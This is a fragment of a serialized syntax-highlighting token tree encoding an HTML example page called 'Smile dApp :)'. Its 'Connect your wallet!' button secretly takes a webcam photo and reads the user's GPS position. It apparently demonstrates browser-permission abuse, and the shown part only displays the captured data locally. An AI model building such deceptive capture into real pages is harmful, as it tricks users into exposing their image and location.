\u003C/script>\n\u003C/body>\n\u003C/html>\n",[157423],{"type":21,"tag":66,"props":157424,"children":157425},{"__ignoreMap":7},[157426,157446,157461,157477,157507,157530,157545,157560,157592,157638,157674,157702,157717,157763,157809,157817,157885,157913,157928,157936,157943,157963,158023,158064,158093,158134,158141,158170,158208,158245,158252,158259,158292,158313,158320,158382,158438,158474,158520,158528,158535,158578,158611,158736,158769,158776,158783,158790,158802,158817,158832],{"type":21,"tag":85,"props":157427,"children":157428},{"class":87,"line":88},[157429,157433,157437,157442],{"type":21,"tag":85,"props":157430,"children":157431},{"style":32821},[157432],{"type":26,"value":34672},{"type":21,"tag":85,"props":157434,"children":157435},{"style":102},[157436],{"type":26,"value":34677},{"type":21,"tag":85,"props":157438,"children":157439},{"style":120},[157440],{"type":26,"value":157441}," html",{"type":21,"tag":85,"props":157443,"children":157444},{"style":32821},[157445],{"type":26,"value":313},{"type":21,"tag":85,"props":157447,"children":157448},{"class":87,"line":98},[157449,157453,157457],{"type":21,"tag":85,"props":157450,"children":157451},{"style":32821},[157452],{"type":26,"value":117},{"type":21,"tag":85,"props":157454,"children":157455},{"style":102},[157456],{"type":26,"value":32828},{"type":21,"tag":85,"props":157458,"children":157459},{"style":32821},[157460],{"type":26,"value":313},{"type":21,"tag":85,"props":157462,"children":157463},{"class":87,"line":151},[157464,157468,157473],{"type":21,"tag":85,"props":157465,"children":157466},{"style":32821},[157467],{"type":26,"value":117},{"type":21,"tag":85,"props":157469,"children":157470},{"style":102},[157471],{"type":26,"value":157472},"head",{"type":21,"tag":85,"props":157474,"children":157475},{"style":32821},[157476],{"type":26,"value":313},{"type":21,"tag":85,"props":157478,"children":157479},{"class":87,"line":160},[157480,157484,157489,157494,157498,157503],{"type":21,"tag":85,"props":157481,"children":157482},{"style":32821},[157483],{"type":26,"value":32891},{"type":21,"tag":85,"props":157485,"children":157486},{"style":102},[157487],{"type":26,"value":157488},"meta",{"type":21,"tag":85,"props":157490,"children":157491},{"style":120},[157492],{"type":26,"value":157493}," charset",{"type":21,"tag":85,"props":157495,"children":157496},{"style":114},[157497],{"type":26,"value":741},{"type":21,"tag":85,"props":157499,"children":157500},{"style":5026},[157501],{"type":26,"value":157502},"\"utf-8\"",{"type":21,"tag":85,"props":157504,"children":157505},{"style":32821},[157506],{"type":26,"value":313},{"type":21,"tag":85,"props":157508,"children":157509},{"class":87,"line":185},[157510,157514,157518,157522,157526],{"type":21,"tag":85,"props":157511,"children":157512},{"style":32821},[157513],{"type":26,"value":32891},{"type":21,"tag":85,"props":157515,"children":157516},{"style":102},[157517],{"type":26,"value":34750},{"type":21,"tag":85,"props":157519,"children":157520},{"style":32821},[157521],{"type":26,"value":50521},{"type":21,"tag":85,"props":157523,"children":157524},{"style":102},[157525],{"type":26,"value":34750},{"type":21,"tag":85,"props":157527,"children":157528},{"style":32821},[157529],{"type":26,"value":313},{"type":21,"tag":85,"props":157531,"children":157532},{"class":87,"line":501},[157533,157537,157541],{"type":21,"tag":85,"props":157534,"children":157535},{"style":32821},[157536],{"type":26,"value":32875},{"type":21,"tag":85,"props":157538,"children":157539},{"style":102},[157540],{"type":26,"value":157472},{"type":21,"tag":85,"props":157542,"children":157543},{"style":32821},[157544],{"type":26,"value":313},{"type":21,"tag":85,"props":157546,"children":157547},{"class":87,"line":697},[157548,157552,157556],{"type":21,"tag":85,"props":157549,"children":157550},{"style":32821},[157551],{"type":26,"value":117},{"type":21,"tag":85,"props":157553,"children":157554},{"style":102},[157555],{"type":26,"value":32845},{"type":21,"tag":85,"props":157557,"children":157558},{"style":32821},[157559],{"type":26,"value":313},{"type":21,"tag":85,"props":157561,"children":157562},{"class":87,"line":706},[157563,157567,157571,157575,157580,157584,157588],{"type":21,"tag":85,"props":157564,"children":157565},{"style":32821},[157566],{"type":26,"value":32891},{"type":21,"tag":85,"props":157568,"children":157569},{"style":102},[157570],{"type":26,"value":54},{"type":21,"tag":85,"props":157572,"children":157573},{"style":32821},[157574],{"type":26,"value":10877},{"type":21,"tag":85,"props":157576,"children":157577},{"style":114},[157578],{"type":26,"value":157579},"Smile dApp :)",{"type":21,"tag":85,"props":157581,"children":157582},{"style":32821},[157583],{"type":26,"value":32875},{"type":21,"tag":85,"props":157585,"children":157586},{"style":102},[157587],{"type":26,"value":54},{"type":21,"tag":85,"props":157589,"children":157590},{"style":32821},[157591],{"type":26,"value":313},{"type":21,"tag":85,"props":157593,"children":157594},{"class":87,"line":1100},[157595,157599,157604,157608,157612,157617,157621,157626,157630,157634],{"type":21,"tag":85,"props":157596,"children":157597},{"style":32821},[157598],{"type":26,"value":32891},{"type":21,"tag":85,"props":157600,"children":157601},{"style":102},[157602],{"type":26,"value":157603},"button",{"type":21,"tag":85,"props":157605,"children":157606},{"style":120},[157607],{"type":26,"value":32901},{"type":21,"tag":85,"props":157609,"children":157610},{"style":114},[157611],{"type":26,"value":741},{"type":21,"tag":85,"props":157613,"children":157614},{"style":5026},[157615],{"type":26,"value":157616},"\"connect\"",{"type":21,"tag":85,"props":157618,"children":157619},{"style":32821},[157620],{"type":26,"value":10877},{"type":21,"tag":85,"props":157622,"children":157623},{"style":114},[157624],{"type":26,"value":157625},"Connect your wallet!",{"type":21,"tag":85,"props":157627,"children":157628},{"style":32821},[157629],{"type":26,"value":32875},{"type":21,"tag":85,"props":157631,"children":157632},{"style":102},[157633],{"type":26,"value":157603},{"type":21,"tag":85,"props":157635,"children":157636},{"style":32821},[157637],{"type":26,"value":313},{"type":21,"tag":85,"props":157639,"children":157640},{"class":87,"line":1339},[157641,157645,157649,157653,157657,157662,157666,157670],{"type":21,"tag":85,"props":157642,"children":157643},{"style":32821},[157644],{"type":26,"value":32891},{"type":21,"tag":85,"props":157646,"children":157647},{"style":102},[157648],{"type":26,"value":75},{"type":21,"tag":85,"props":157650,"children":157651},{"style":120},[157652],{"type":26,"value":32901},{"type":21,"tag":85,"props":157654,"children":157655},{"style":114},[157656],{"type":26,"value":741},{"type":21,"tag":85,"props":157658,"children":157659},{"style":5026},[157660],{"type":26,"value":157661},"\"gps\"",{"type":21,"tag":85,"props":157663,"children":157664},{"style":32821},[157665],{"type":26,"value":50521},{"type":21,"tag":85,"props":157667,"children":157668},{"style":102},[157669],{"type":26,"value":75},{"type":21,"tag":85,"props":157671,"children":157672},{"style":32821},[157673],{"type":26,"value":313},{"type":21,"tag":85,"props":157675,"children":157676},{"class":87,"line":1348},[157677,157681,157685,157689,157693,157698],{"type":21,"tag":85,"props":157678,"children":157679},{"style":32821},[157680],{"type":26,"value":32891},{"type":21,"tag":85,"props":157682,"children":157683},{"style":102},[157684],{"type":26,"value":4681},{"type":21,"tag":85,"props":157686,"children":157687},{"style":120},[157688],{"type":26,"value":32901},{"type":21,"tag":85,"props":157690,"children":157691},{"style":114},[157692],{"type":26,"value":741},{"type":21,"tag":85,"props":157694,"children":157695},{"style":5026},[157696],{"type":26,"value":157697},"\"pic\"",{"type":21,"tag":85,"props":157699,"children":157700},{"style":32821},[157701],{"type":26,"value":313},{"type":21,"tag":85,"props":157703,"children":157704},{"class":87,"line":1386},[157705,157709,157713],{"type":21,"tag":85,"props":157706,"children":157707},{"style":32821},[157708],{"type":26,"value":32891},{"type":21,"tag":85,"props":157710,"children":157711},{"style":102},[157712],{"type":26,"value":32861},{"type":21,"tag":85,"props":157714,"children":157715},{"style":32821},[157716],{"type":26,"value":313},{"type":21,"tag":85,"props":157718,"children":157719},{"class":87,"line":1394},[157720,157725,157729,157734,157738,157743,157747,157751,157755,157759],{"type":21,"tag":85,"props":157721,"children":157722},{"style":120},[157723],{"type":26,"value":157724},"        window",{"type":21,"tag":85,"props":157726,"children":157727},{"style":169},[157728],{"type":26,"value":73},{"type":21,"tag":85,"props":157730,"children":157731},{"style":1021},[157732],{"type":26,"value":157733},"addEventListener",{"type":21,"tag":85,"props":157735,"children":157736},{"style":169},[157737],{"type":26,"value":1439},{"type":21,"tag":85,"props":157739,"children":157740},{"style":5026},[157741],{"type":26,"value":157742},"'unhandledrejection'",{"type":21,"tag":85,"props":157744,"children":157745},{"style":169},[157746],{"type":26,"value":256},{"type":21,"tag":85,"props":157748,"children":157749},{"style":102},[157750],{"type":26,"value":31822},{"type":21,"tag":85,"props":157752,"children":157753},{"style":169},[157754],{"type":26,"value":717},{"type":21,"tag":85,"props":157756,"children":157757},{"style":120},[157758],{"type":26,"value":82590},{"type":21,"tag":85,"props":157760,"children":157761},{"style":169},[157762],{"type":26,"value":15222},{"type":21,"tag":85,"props":157764,"children":157765},{"class":87,"line":1402},[157766,157771,157775,157780,157784,157788,157792,157797,157801,157805],{"type":21,"tag":85,"props":157767,"children":157768},{"style":1021},[157769],{"type":26,"value":157770},"            alert",{"type":21,"tag":85,"props":157772,"children":157773},{"style":169},[157774],{"type":26,"value":1439},{"type":21,"tag":85,"props":157776,"children":157777},{"style":5026},[157778],{"type":26,"value":157779},"`Unhandled Promise Rejection: ",{"type":21,"tag":85,"props":157781,"children":157782},{"style":102},[157783],{"type":26,"value":34555},{"type":21,"tag":85,"props":157785,"children":157786},{"style":120},[157787],{"type":26,"value":82590},{"type":21,"tag":85,"props":157789,"children":157790},{"style":169},[157791],{"type":26,"value":73},{"type":21,"tag":85,"props":157793,"children":157794},{"style":120},[157795],{"type":26,"value":157796},"reason",{"type":21,"tag":85,"props":157798,"children":157799},{"style":102},[157800],{"type":26,"value":34587},{"type":21,"tag":85,"props":157802,"children":157803},{"style":5026},[157804],{"type":26,"value":10797},{"type":21,"tag":85,"props":157806,"children":157807},{"style":169},[157808],{"type":26,"value":777},{"type":21,"tag":85,"props":157810,"children":157811},{"class":87,"line":3145},[157812],{"type":21,"tag":85,"props":157813,"children":157814},{"style":169},[157815],{"type":26,"value":157816},"        });\n",{"type":21,"tag":85,"props":157818,"children":157819},{"class":87,"line":3246},[157820,157824,157828,157832,157836,157840,157844,157848,157852,157856,157860,157864,157868,157873,157877,157881],{"type":21,"tag":85,"props":157821,"children":157822},{"style":120},[157823],{"type":26,"value":157724},{"type":21,"tag":85,"props":157825,"children":157826},{"style":169},[157827],{"type":26,"value":73},{"type":21,"tag":85,"props":157829,"children":157830},{"style":1021},[157831],{"type":26,"value":33134},{"type":21,"tag":85,"props":157833,"children":157834},{"style":169},[157835],{"type":26,"value":33357},{"type":21,"tag":85,"props":157837,"children":157838},{"style":102},[157839],{"type":26,"value":31822},{"type":21,"tag":85,"props":157841,"children":157842},{"style":169},[157843],{"type":26,"value":717},{"type":21,"tag":85,"props":157845,"children":157846},{"style":120},[157847],{"type":26,"value":58403},{"type":21,"tag":85,"props":157849,"children":157850},{"style":169},[157851],{"type":26,"value":256},{"type":21,"tag":85,"props":157853,"children":157854},{"style":120},[157855],{"type":26,"value":70837},{"type":21,"tag":85,"props":157857,"children":157858},{"style":169},[157859],{"type":26,"value":256},{"type":21,"tag":85,"props":157861,"children":157862},{"style":120},[157863],{"type":26,"value":87},{"type":21,"tag":85,"props":157865,"children":157866},{"style":169},[157867],{"type":26,"value":256},{"type":21,"tag":85,"props":157869,"children":157870},{"style":120},[157871],{"type":26,"value":157872},"col",{"type":21,"tag":85,"props":157874,"children":157875},{"style":169},[157876],{"type":26,"value":256},{"type":21,"tag":85,"props":157878,"children":157879},{"style":120},[157880],{"type":26,"value":15282},{"type":21,"tag":85,"props":157882,"children":157883},{"style":169},[157884],{"type":26,"value":15222},{"type":21,"tag":85,"props":157886,"children":157887},{"class":87,"line":3255},[157888,157892,157896,157901,157905,157909],{"type":21,"tag":85,"props":157889,"children":157890},{"style":1021},[157891],{"type":26,"value":157770},{"type":21,"tag":85,"props":157893,"children":157894},{"style":169},[157895],{"type":26,"value":1439},{"type":21,"tag":85,"props":157897,"children":157898},{"style":5026},[157899],{"type":26,"value":157900},"'onerror: '",{"type":21,"tag":85,"props":157902,"children":157903},{"style":169},[157904],{"type":26,"value":35143},{"type":21,"tag":85,"props":157906,"children":157907},{"style":120},[157908],{"type":26,"value":58403},{"type":21,"tag":85,"props":157910,"children":157911},{"style":169},[157912],{"type":26,"value":777},{"type":21,"tag":85,"props":157914,"children":157915},{"class":87,"line":3286},[157916,157920,157924],{"type":21,"tag":85,"props":157917,"children":157918},{"style":2885},[157919],{"type":26,"value":79538},{"type":21,"tag":85,"props":157921,"children":157922},{"style":102},[157923],{"type":26,"value":3438},{"type":21,"tag":85,"props":157925,"children":157926},{"style":169},[157927],{"type":26,"value":2535},{"type":21,"tag":85,"props":157929,"children":157930},{"class":87,"line":3295},[157931],{"type":21,"tag":85,"props":157932,"children":157933},{"style":169},[157934],{"type":26,"value":157935},"        };\n",{"type":21,"tag":85,"props":157937,"children":157938},{"class":87,"line":3308},[157939],{"type":21,"tag":85,"props":157940,"children":157941},{"emptyLinePlaceholder":16},[157942],{"type":26,"value":703},{"type":21,"tag":85,"props":157944,"children":157945},{"class":87,"line":3333},[157946,157951,157955,157959],{"type":21,"tag":85,"props":157947,"children":157948},{"style":102},[157949],{"type":26,"value":157950},"        async",{"type":21,"tag":85,"props":157952,"children":157953},{"style":102},[157954],{"type":26,"value":38662},{"type":21,"tag":85,"props":157956,"children":157957},{"style":1021},[157958],{"type":26,"value":91242},{"type":21,"tag":85,"props":157960,"children":157961},{"style":169},[157962],{"type":26,"value":16156},{"type":21,"tag":85,"props":157964,"children":157965},{"class":87,"line":3369},[157966,157970,157975,157979,157983,157988,157992,157997,158001,158006,158010,158015,158019],{"type":21,"tag":85,"props":157967,"children":157968},{"style":102},[157969],{"type":26,"value":151496},{"type":21,"tag":85,"props":157971,"children":157972},{"style":120},[157973],{"type":26,"value":157974}," stream",{"type":21,"tag":85,"props":157976,"children":157977},{"style":169},[157978],{"type":26,"value":33357},{"type":21,"tag":85,"props":157980,"children":157981},{"style":2885},[157982],{"type":26,"value":33362},{"type":21,"tag":85,"props":157984,"children":157985},{"style":120},[157986],{"type":26,"value":157987}," navigator",{"type":21,"tag":85,"props":157989,"children":157990},{"style":169},[157991],{"type":26,"value":73},{"type":21,"tag":85,"props":157993,"children":157994},{"style":120},[157995],{"type":26,"value":157996},"mediaDevices",{"type":21,"tag":85,"props":157998,"children":157999},{"style":169},[158000],{"type":26,"value":73},{"type":21,"tag":85,"props":158002,"children":158003},{"style":1021},[158004],{"type":26,"value":158005},"getUserMedia",{"type":21,"tag":85,"props":158007,"children":158008},{"style":169},[158009],{"type":26,"value":31943},{"type":21,"tag":85,"props":158011,"children":158012},{"style":120},[158013],{"type":26,"value":158014},"video:",{"type":21,"tag":85,"props":158016,"children":158017},{"style":102},[158018],{"type":26,"value":12886},{"type":21,"tag":85,"props":158020,"children":158021},{"style":169},[158022],{"type":26,"value":39283},{"type":21,"tag":85,"props":158024,"children":158025},{"class":87,"line":3377},[158026,158030,158035,158039,158043,158047,158051,158055,158060],{"type":21,"tag":85,"props":158027,"children":158028},{"style":102},[158029],{"type":26,"value":151496},{"type":21,"tag":85,"props":158031,"children":158032},{"style":120},[158033],{"type":26,"value":158034}," video",{"type":21,"tag":85,"props":158036,"children":158037},{"style":169},[158038],{"type":26,"value":33357},{"type":21,"tag":85,"props":158040,"children":158041},{"style":120},[158042],{"type":26,"value":33153},{"type":21,"tag":85,"props":158044,"children":158045},{"style":169},[158046],{"type":26,"value":73},{"type":21,"tag":85,"props":158048,"children":158049},{"style":1021},[158050],{"type":26,"value":37169},{"type":21,"tag":85,"props":158052,"children":158053},{"style":169},[158054],{"type":26,"value":1439},{"type":21,"tag":85,"props":158056,"children":158057},{"style":5026},[158058],{"type":26,"value":158059},"\"video\"",{"type":21,"tag":85,"props":158061,"children":158062},{"style":169},[158063],{"type":26,"value":777},{"type":21,"tag":85,"props":158065,"children":158066},{"class":87,"line":3386},[158067,158072,158076,158081,158085,158089],{"type":21,"tag":85,"props":158068,"children":158069},{"style":120},[158070],{"type":26,"value":158071},"            video",{"type":21,"tag":85,"props":158073,"children":158074},{"style":169},[158075],{"type":26,"value":73},{"type":21,"tag":85,"props":158077,"children":158078},{"style":120},[158079],{"type":26,"value":158080},"srcObject",{"type":21,"tag":85,"props":158082,"children":158083},{"style":169},[158084],{"type":26,"value":33357},{"type":21,"tag":85,"props":158086,"children":158087},{"style":120},[158088],{"type":26,"value":36709},{"type":21,"tag":85,"props":158090,"children":158091},{"style":169},[158092],{"type":26,"value":2535},{"type":21,"tag":85,"props":158094,"children":158095},{"class":87,"line":3394},[158096,158100,158105,158109,158113,158117,158121,158125,158130],{"type":21,"tag":85,"props":158097,"children":158098},{"style":102},[158099],{"type":26,"value":151496},{"type":21,"tag":85,"props":158101,"children":158102},{"style":120},[158103],{"type":26,"value":158104}," canvas",{"type":21,"tag":85,"props":158106,"children":158107},{"style":169},[158108],{"type":26,"value":33357},{"type":21,"tag":85,"props":158110,"children":158111},{"style":120},[158112],{"type":26,"value":33153},{"type":21,"tag":85,"props":158114,"children":158115},{"style":169},[158116],{"type":26,"value":73},{"type":21,"tag":85,"props":158118,"children":158119},{"style":1021},[158120],{"type":26,"value":37169},{"type":21,"tag":85,"props":158122,"children":158123},{"style":169},[158124],{"type":26,"value":1439},{"type":21,"tag":85,"props":158126,"children":158127},{"style":5026},[158128],{"type":26,"value":158129},"\"canvas\"",{"type":21,"tag":85,"props":158131,"children":158132},{"style":169},[158133],{"type":26,"value":777},{"type":21,"tag":85,"props":158135,"children":158136},{"class":87,"line":3410},[158137],{"type":21,"tag":85,"props":158138,"children":158139},{"emptyLinePlaceholder":16},[158140],{"type":26,"value":703},{"type":21,"tag":85,"props":158142,"children":158143},{"class":87,"line":3427},[158144,158148,158152,158157,158162,158166],{"type":21,"tag":85,"props":158145,"children":158146},{"style":120},[158147],{"type":26,"value":158071},{"type":21,"tag":85,"props":158149,"children":158150},{"style":169},[158151],{"type":26,"value":73},{"type":21,"tag":85,"props":158153,"children":158154},{"style":1021},[158155],{"type":26,"value":158156},"onloadedmetadata",{"type":21,"tag":85,"props":158158,"children":158159},{"style":169},[158160],{"type":26,"value":158161}," = () ",{"type":21,"tag":85,"props":158163,"children":158164},{"style":102},[158165],{"type":26,"value":15240},{"type":21,"tag":85,"props":158167,"children":158168},{"style":169},[158169],{"type":26,"value":148},{"type":21,"tag":85,"props":158171,"children":158172},{"class":87,"line":3445},[158173,158178,158182,158187,158191,158195,158199,158204],{"type":21,"tag":85,"props":158174,"children":158175},{"style":120},[158176],{"type":26,"value":158177},"                canvas",{"type":21,"tag":85,"props":158179,"children":158180},{"style":169},[158181],{"type":26,"value":73},{"type":21,"tag":85,"props":158183,"children":158184},{"style":120},[158185],{"type":26,"value":158186},"width",{"type":21,"tag":85,"props":158188,"children":158189},{"style":169},[158190],{"type":26,"value":33357},{"type":21,"tag":85,"props":158192,"children":158193},{"style":120},[158194],{"type":26,"value":132320},{"type":21,"tag":85,"props":158196,"children":158197},{"style":169},[158198],{"type":26,"value":73},{"type":21,"tag":85,"props":158200,"children":158201},{"style":120},[158202],{"type":26,"value":158203},"videoWidth",{"type":21,"tag":85,"props":158205,"children":158206},{"style":169},[158207],{"type":26,"value":2535},{"type":21,"tag":85,"props":158209,"children":158210},{"class":87,"line":3490},[158211,158215,158219,158224,158228,158232,158236,158241],{"type":21,"tag":85,"props":158212,"children":158213},{"style":120},[158214],{"type":26,"value":158177},{"type":21,"tag":85,"props":158216,"children":158217},{"style":169},[158218],{"type":26,"value":73},{"type":21,"tag":85,"props":158220,"children":158221},{"style":120},[158222],{"type":26,"value":158223},"height",{"type":21,"tag":85,"props":158225,"children":158226},{"style":169},[158227],{"type":26,"value":33357},{"type":21,"tag":85,"props":158229,"children":158230},{"style":120},[158231],{"type":26,"value":132320},{"type":21,"tag":85,"props":158233,"children":158234},{"style":169},[158235],{"type":26,"value":73},{"type":21,"tag":85,"props":158237,"children":158238},{"style":120},[158239],{"type":26,"value":158240},"videoHeight",{"type":21,"tag":85,"props":158242,"children":158243},{"style":169},[158244],{"type":26,"value":2535},{"type":21,"tag":85,"props":158246,"children":158247},{"class":87,"line":3596},[158248],{"type":21,"tag":85,"props":158249,"children":158250},{"style":169},[158251],{"type":26,"value":48529},{"type":21,"tag":85,"props":158253,"children":158254},{"class":87,"line":23938},[158255],{"type":21,"tag":85,"props":158256,"children":158257},{"emptyLinePlaceholder":16},[158258],{"type":26,"value":703},{"type":21,"tag":85,"props":158260,"children":158261},{"class":87,"line":23973},[158262,158267,158271,158276,158280,158284,158288],{"type":21,"tag":85,"props":158263,"children":158264},{"style":120},[158265],{"type":26,"value":158266},"            connect",{"type":21,"tag":85,"props":158268,"children":158269},{"style":169},[158270],{"type":26,"value":73},{"type":21,"tag":85,"props":158272,"children":158273},{"style":1021},[158274],{"type":26,"value":158275},"onclick",{"type":21,"tag":85,"props":158277,"children":158278},{"style":169},[158279],{"type":26,"value":33357},{"type":21,"tag":85,"props":158281,"children":158282},{"style":120},[158283],{"type":26,"value":51910},{"type":21,"tag":85,"props":158285,"children":158286},{"style":102},[158287],{"type":26,"value":28194},{"type":21,"tag":85,"props":158289,"children":158290},{"style":169},[158291],{"type":26,"value":148},{"type":21,"tag":85,"props":158293,"children":158294},{"class":87,"line":23981},[158295,158300,158304,158309],{"type":21,"tag":85,"props":158296,"children":158297},{"style":120},[158298],{"type":26,"value":158299},"                video",{"type":21,"tag":85,"props":158301,"children":158302},{"style":169},[158303],{"type":26,"value":73},{"type":21,"tag":85,"props":158305,"children":158306},{"style":1021},[158307],{"type":26,"value":158308},"play",{"type":21,"tag":85,"props":158310,"children":158311},{"style":169},[158312],{"type":26,"value":4437},{"type":21,"tag":85,"props":158314,"children":158315},{"class":87,"line":23989},[158316],{"type":21,"tag":85,"props":158317,"children":158318},{"emptyLinePlaceholder":16},[158319],{"type":26,"value":703},{"type":21,"tag":85,"props":158321,"children":158322},{"class":87,"line":23998},[158323,158327,158331,158336,158340,158345,158349,158354,158358,158362,158366,158370,158374,158378],{"type":21,"tag":85,"props":158324,"children":158325},{"style":120},[158326],{"type":26,"value":158177},{"type":21,"tag":85,"props":158328,"children":158329},{"style":169},[158330],{"type":26,"value":73},{"type":21,"tag":85,"props":158332,"children":158333},{"style":1021},[158334],{"type":26,"value":158335},"getContext",{"type":21,"tag":85,"props":158337,"children":158338},{"style":169},[158339],{"type":26,"value":1439},{"type":21,"tag":85,"props":158341,"children":158342},{"style":5026},[158343],{"type":26,"value":158344},"\"2d\"",{"type":21,"tag":85,"props":158346,"children":158347},{"style":169},[158348],{"type":26,"value":21170},{"type":21,"tag":85,"props":158350,"children":158351},{"style":1021},[158352],{"type":26,"value":158353},"drawImage",{"type":21,"tag":85,"props":158355,"children":158356},{"style":169},[158357],{"type":26,"value":1439},{"type":21,"tag":85,"props":158359,"children":158360},{"style":120},[158361],{"type":26,"value":132320},{"type":21,"tag":85,"props":158363,"children":158364},{"style":169},[158365],{"type":26,"value":256},{"type":21,"tag":85,"props":158367,"children":158368},{"style":2285},[158369],{"type":26,"value":4789},{"type":21,"tag":85,"props":158371,"children":158372},{"style":169},[158373],{"type":26,"value":256},{"type":21,"tag":85,"props":158375,"children":158376},{"style":2285},[158377],{"type":26,"value":4789},{"type":21,"tag":85,"props":158379,"children":158380},{"style":169},[158381],{"type":26,"value":777},{"type":21,"tag":85,"props":158383,"children":158384},{"class":87,"line":24040},[158385,158390,158394,158399,158403,158408,158412,158416,158420,158425,158429,158434],{"type":21,"tag":85,"props":158386,"children":158387},{"style":120},[158388],{"type":26,"value":158389},"                stream",{"type":21,"tag":85,"props":158391,"children":158392},{"style":169},[158393],{"type":26,"value":73},{"type":21,"tag":85,"props":158395,"children":158396},{"style":1021},[158397],{"type":26,"value":158398},"getTracks",{"type":21,"tag":85,"props":158400,"children":158401},{"style":169},[158402],{"type":26,"value":30612},{"type":21,"tag":85,"props":158404,"children":158405},{"style":1021},[158406],{"type":26,"value":158407},"forEach",{"type":21,"tag":85,"props":158409,"children":158410},{"style":169},[158411],{"type":26,"value":1439},{"type":21,"tag":85,"props":158413,"children":158414},{"style":120},[158415],{"type":26,"value":22158},{"type":21,"tag":85,"props":158417,"children":158418},{"style":102},[158419],{"type":26,"value":28194},{"type":21,"tag":85,"props":158421,"children":158422},{"style":120},[158423],{"type":26,"value":158424}," t",{"type":21,"tag":85,"props":158426,"children":158427},{"style":169},[158428],{"type":26,"value":73},{"type":21,"tag":85,"props":158430,"children":158431},{"style":1021},[158432],{"type":26,"value":158433},"stop",{"type":21,"tag":85,"props":158435,"children":158436},{"style":169},[158437],{"type":26,"value":15844},{"type":21,"tag":85,"props":158439,"children":158440},{"class":87,"line":24073},[158441,158445,158449,158454,158458,158462,158466,158470],{"type":21,"tag":85,"props":158442,"children":158443},{"style":120},[158444],{"type":26,"value":158177},{"type":21,"tag":85,"props":158446,"children":158447},{"style":169},[158448],{"type":26,"value":73},{"type":21,"tag":85,"props":158450,"children":158451},{"style":1021},[158452],{"type":26,"value":158453},"toBlob",{"type":21,"tag":85,"props":158455,"children":158456},{"style":169},[158457],{"type":26,"value":31968},{"type":21,"tag":85,"props":158459,"children":158460},{"style":120},[158461],{"type":26,"value":33394},{"type":21,"tag":85,"props":158463,"children":158464},{"style":169},[158465],{"type":26,"value":736},{"type":21,"tag":85,"props":158467,"children":158468},{"style":102},[158469],{"type":26,"value":15240},{"type":21,"tag":85,"props":158471,"children":158472},{"style":169},[158473],{"type":26,"value":148},{"type":21,"tag":85,"props":158475,"children":158476},{"class":87,"line":24081},[158477,158482,158486,158490,158494,158499,158503,158508,158512,158516],{"type":21,"tag":85,"props":158478,"children":158479},{"style":120},[158480],{"type":26,"value":158481},"                    pic",{"type":21,"tag":85,"props":158483,"children":158484},{"style":169},[158485],{"type":26,"value":73},{"type":21,"tag":85,"props":158487,"children":158488},{"style":120},[158489],{"type":26,"value":33115},{"type":21,"tag":85,"props":158491,"children":158492},{"style":169},[158493],{"type":26,"value":33357},{"type":21,"tag":85,"props":158495,"children":158496},{"style":120},[158497],{"type":26,"value":158498},"URL",{"type":21,"tag":85,"props":158500,"children":158501},{"style":169},[158502],{"type":26,"value":73},{"type":21,"tag":85,"props":158504,"children":158505},{"style":1021},[158506],{"type":26,"value":158507},"createObjectURL",{"type":21,"tag":85,"props":158509,"children":158510},{"style":169},[158511],{"type":26,"value":1439},{"type":21,"tag":85,"props":158513,"children":158514},{"style":120},[158515],{"type":26,"value":33394},{"type":21,"tag":85,"props":158517,"children":158518},{"style":169},[158519],{"type":26,"value":777},{"type":21,"tag":85,"props":158521,"children":158522},{"class":87,"line":24089},[158523],{"type":21,"tag":85,"props":158524,"children":158525},{"style":169},[158526],{"type":26,"value":158527},"                });\n",{"type":21,"tag":85,"props":158529,"children":158530},{"class":87,"line":24098},[158531],{"type":21,"tag":85,"props":158532,"children":158533},{"emptyLinePlaceholder":16},[158534],{"type":26,"value":703},{"type":21,"tag":85,"props":158536,"children":158537},{"class":87,"line":24174},[158538,158543,158547,158552,158556,158561,158565,158570,158574],{"type":21,"tag":85,"props":158539,"children":158540},{"style":120},[158541],{"type":26,"value":158542},"                navigator",{"type":21,"tag":85,"props":158544,"children":158545},{"style":169},[158546],{"type":26,"value":73},{"type":21,"tag":85,"props":158548,"children":158549},{"style":120},[158550],{"type":26,"value":158551},"geolocation",{"type":21,"tag":85,"props":158553,"children":158554},{"style":169},[158555],{"type":26,"value":73},{"type":21,"tag":85,"props":158557,"children":158558},{"style":1021},[158559],{"type":26,"value":158560},"getCurrentPosition",{"type":21,"tag":85,"props":158562,"children":158563},{"style":169},[158564],{"type":26,"value":1439},{"type":21,"tag":85,"props":158566,"children":158567},{"style":120},[158568],{"type":26,"value":158569},"pos",{"type":21,"tag":85,"props":158571,"children":158572},{"style":102},[158573],{"type":26,"value":28194},{"type":21,"tag":85,"props":158575,"children":158576},{"style":169},[158577],{"type":26,"value":148},{"type":21,"tag":85,"props":158579,"children":158580},{"class":87,"line":24207},[158581,158586,158590,158594,158598,158602,158607],{"type":21,"tag":85,"props":158582,"children":158583},{"style":102},[158584],{"type":26,"value":158585},"                    const",{"type":21,"tag":85,"props":158587,"children":158588},{"style":120},[158589],{"type":26,"value":37893},{"type":21,"tag":85,"props":158591,"children":158592},{"style":169},[158593],{"type":26,"value":33357},{"type":21,"tag":85,"props":158595,"children":158596},{"style":120},[158597],{"type":26,"value":158569},{"type":21,"tag":85,"props":158599,"children":158600},{"style":169},[158601],{"type":26,"value":73},{"type":21,"tag":85,"props":158603,"children":158604},{"style":120},[158605],{"type":26,"value":158606},"coords",{"type":21,"tag":85,"props":158608,"children":158609},{"style":169},[158610],{"type":26,"value":2535},{"type":21,"tag":85,"props":158612,"children":158613},{"class":87,"line":24215},[158614,158619,158623,158627,158631,158636,158640,158644,158648,158653,158657,158662,158666,158670,158674,158678,158682,158687,158691,158695,158699,158704,158708,158712,158716,158720,158724,158728,158732],{"type":21,"tag":85,"props":158615,"children":158616},{"style":120},[158617],{"type":26,"value":158618},"                    gps",{"type":21,"tag":85,"props":158620,"children":158621},{"style":169},[158622],{"type":26,"value":73},{"type":21,"tag":85,"props":158624,"children":158625},{"style":120},[158626],{"type":26,"value":35411},{"type":21,"tag":85,"props":158628,"children":158629},{"style":169},[158630],{"type":26,"value":33357},{"type":21,"tag":85,"props":158632,"children":158633},{"style":5026},[158634],{"type":26,"value":158635},"`Lat: 